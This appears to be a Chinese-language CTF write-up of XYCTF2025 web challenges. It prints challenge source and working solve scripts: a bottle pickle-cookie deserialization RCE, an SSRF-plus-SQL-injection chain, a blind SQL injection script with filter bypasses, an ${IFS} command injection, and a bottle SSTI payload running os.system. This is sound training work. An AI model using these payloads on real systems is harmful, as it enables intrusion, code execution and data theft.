XYCTF2025 WEB WP+复现
第一天做了两道题,后面为了清明就没再做题hhh,后来在复现平台又做了两道,剩下的不会了,跟着WP复现一下。
Signin
源码:
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
with open('../../secret.txt', 'r') as f:
secret = f.read()
except:
print("No secret file found, using default secret")
secret = "secret"
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=5000, debug=False)
先分析一下两个路由:
-
/download:限制了下目录穿越,显然用来读文件的; -
/secret:通过cookie的验证限制登录,显然要在此处做文章。
解题:
-
根据提示,利用
/download查看secret.txt文件,使用./.././../绕过;
-
下面就是对于cookie的利用,先去看
get_cookie,发现pickle.loads,显然要利用反序列化;
-
找到利用点,下一步就是构造,自然去看
set_cookie,本来想直接调,但是不知道什么问题不太行,又查了一下发现bottle有一个专门用于构造cookie的cookie_encode方法,直接用就可以,因此构造EXP如下:import requests from bottle import response, request, cookie_encode url = "http://gz.imxbt.cn:20944" secret = "Hell0_H@cker_Y0u_A3r_Sm@r7" class Exploit: def __reduce__(self): # return (eval, ('__import__("os").popen("ls / > /flag.txt").read()',)) return (eval, ('__import__("os").popen("cat /flag_dda2d465-af33-4c56-8cc9-fd4306867b70 > /flag.txt").read()',)) payload = cookie_encode(("name", {"name": Exploit()}), secret) response.set_cookie() s = requests.Session() s.get(url + "/secret", cookies={ "name": payload.decode() }) -
显然开发也知道这个问题了(国外有类似题,好像叫bottle poem),警告如下:

-
报错只是小插曲,但是完全没修复(不理解,当时做的时候还以为挑版本),跑完再去用
/download查文件就可以了。
fate
源码
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")
@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
app.run(debug=True)
两个路由:
-
/proxy:恰如起名,代理作用,就是为了打个SSRF; -
/1337:为什么是数字呢?为了能绕过去!两个参数分别是0和1都是数字?也是为了能绕过去!中间加了个二进制转字符串?还是为了能绕过去!然后限制了传入的长度,再往后就是查数据库了。
解题
基本一样:CakeCTF 2023:country-db,但是不影响我没找到,从头做吧。
-
绕SSRF:

-
直接加在写好的域名后面:
@直接绕; -
不让用字母:这就涉及到前面的设计了,用的全是数字!
-
过滤
.:十进制绕或者0绕。
-
-
进到
/1337,先绕参数0:前面的不让用字母在这用上了,但是只要URL编码两次也就绕过去了; -
参数
1:这道题真正的重点,首先要逆着写个string_to_binary(不会就扔给AI),然后就要绕长度限制做SQL注入了,但是长度6显然是啥也不太行,所以重点不在于SQL拼接构造,而在于前面的json.loads(),但是这个方法并没有什么可利用的,功能很强大,但问题就出在强大的功能上,它可以解析各种各样的JSON,加上flask.request.get_json()对于传入的类型并没有任何过滤,因此最开始想到了列表这个好东西,但是被ban了,这是个好事,因为这证明思路对了,又试了字典,发现可以用,于是最大的难点解决了,后面只需要构造拼接SQL就可以了,没有任何过滤,最后整体写出来的EXP如下:import json import requests def url_encode(s): encoded = "" for c in s: encoded += hex(ord(c)).replace("0x", "%") return encoded def binary_to_string(binary_string): if len(binary_string) % 8 != 0: raise ValueError("Binary string length must be a multiple of 8") binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)] string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) return string_output def string_to_binary(input_string): return ''.join(format(ord(c), '08b') for c in input_string) def test(req): req = binary_to_string(req) print(req) req = json.loads(req) print(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{req["name"]}')))))))") def res(b): args = { # 1337解析 "0": url_encode("abcdefghi"), "1": b } url = "http://gz.imxbt.cn:20939/proxy" ssrf_params = { # @ + 十进制绕过 'url': f'@2130706433:8080/1337?0={args["0"]}&1={args["1"]}' } # 发送请求 response = requests.get(url, params=ssrf_params) print(response.content.decode()) return True if "flag" in response.content.decode() else False if __name__ == '__main__': # json_d = '{"name":"\'"}' for i in range(1, 100): json_d = '{"name":{"\'))))))) UNION SELECT FATE FROM FATETABLE LIMIT ' + str(i) + ',' + str(i) + ';--":1}}' # test(string_to_binary(json_d)) # break if res(string_to_binary(json_d)): break -
这里如果仔细看了
init_db文件就可以直接查··· WHERE NAME=\'LAMENTXU\',但是我只看了个字段就关掉了文件(所以不要着急!)脚本中遍历了所有元组,最后一条才跑出来。
ez_puzzle
解题
-
JS题,禁了鼠标右键和键盘,显然没啥用。

-
打开开发者工具,发现加入了反调试,给它干掉!右键选择
添加脚本以忽略列表就可以。
-
但是这样我们也没法调试了,想想别的方法,既然是判断时间,那就去找关键词,搜下
time发现了startTime等等,其他的不可控(比如什么endTime),但是如果startTime很大,去和2秒比较肯定没问题,所以控制台修改一下,然后拼个图就可以了(拼不出来图就完蛋啦)。
ezspl
解题
-
开局即登录,先
fuzz看看ban了什么,发现空格、换行符、逗号,union等一堆内容被过滤了,本题主要用到两个:一是使用制表符代替空格,二是用FROM、FOR代替逗号; -
判断下注入点,过程省略了,发现是
username为字符型注入; -
试试万能密码行不行,好消息是可以,坏消息是还有一层:

-
显然还是要注入,利用布尔盲注直接爆,最后读到
secret: dtfrtkcc0czkoua9s,输入后进入命令执行页面。import requests def inject(): url = 'http://gz.imxbt.cn:20011/login.php' flag = '' char = 'qwertyuiopasdfghjkllzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_' for i in range(1, 50): for j in char: payload = f"'or\tsubstr(database()from({i})for(1))='{j}'#" # payload = f"'or\tsubstr((select\tgroup_concat(table_name)from\tinformation_schema.tables\twhere\ttable_schema='testdb')from({i})for(1))='{j}'#" # payload = f"'or\tsubstr((select\tgroup_concat(column_name)\tfrom\tinformation_schema.columns\twhere\ttable_name='double_check')from({i})for(1))='{j}'#" # payload = f"'or\tsubstr((select\tgroup_concat(secret)\tfrom\tdouble_check)from({i})for(1))='{j}'#" data = {"username": payload, "password": ddd} r = requests.post(url=url, data=data) # print(payload) # print(r.text) if "检测到非法输入,已阻断!" in r.text: print(payload) break if "帐号或密码错误" not in r.text: flag += j print(flag) break inject() -
无回显,还把空格ban了,直接重定向:
cat${IFS}/flag.txt${IFS}>flag.txt,然后看文件即可。
官方解法
注入方法相同,命令执行时候使用awk和cut -c来遍历前面命令执行的结果(类似时间盲注),其实还挺好用的,只是这题没必要,脚本如下:

Now you see me 1
Now you see me 2
出题人已疯
源码
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)
很明显的一道SSTI题,限制了长度和open、\两个字符。
解题
-
使用
bottle框架(这次题“超级高/多水瓶”),这个模板可以在大括号中使用python表达式,所以就下面这种应该直接能打(如果没有长度限制):
-
先补个知识:
SimpleTemplate(bottle默认模板)的模板文件中,%开头是模板指令语法; -
所以直接将要执行的命令分多次放到同一个变量里面,然后统一执行以下就可以了,脚本如下(直接单个字符传了),其中每个payload前面要加一个
\n是为了确保payload被解释为新的一行模板指令,避免跟前一行混在一起导致解析失败:import requests url = 'http://gz.imxbt.cn:20079/attack' payload = "__import__('os').system('cat /f*>d')" p = [payload[i:i+1] for i in range(0,len(payload))] flag = True for payload_part in p: if flag: tmp = f'\n%import os;os.a="{payload_part}"' flag = False else: tmp = f'\n%import os;os.a+="{payload_part}"' requests.get(url,params={"payload":tmp}) requests.get(url,params={"payload":"\n%import os;eval(os.a)"}) print(requests.get(url,params={"payload":"\n%include('d')"}).text) -
最终获得结果如下:

Revenge
后面有一道又疯的题,加了很多黑名单,从而引出了另一种解法,即使用python强大的特殊字符解析功能来绕过过滤,如ºpen('/flag').read(),于是只要传这个就可以了,如果一切正常的话。
但是显然还有问题,这个特殊字符的URL编码是两个字节,如下:

但是如果直接传入%BA解析的结果是同样可以被识别的(原理不知道,等查好了补充),因此最终成功攻击:


浙公网安备 33010602011771号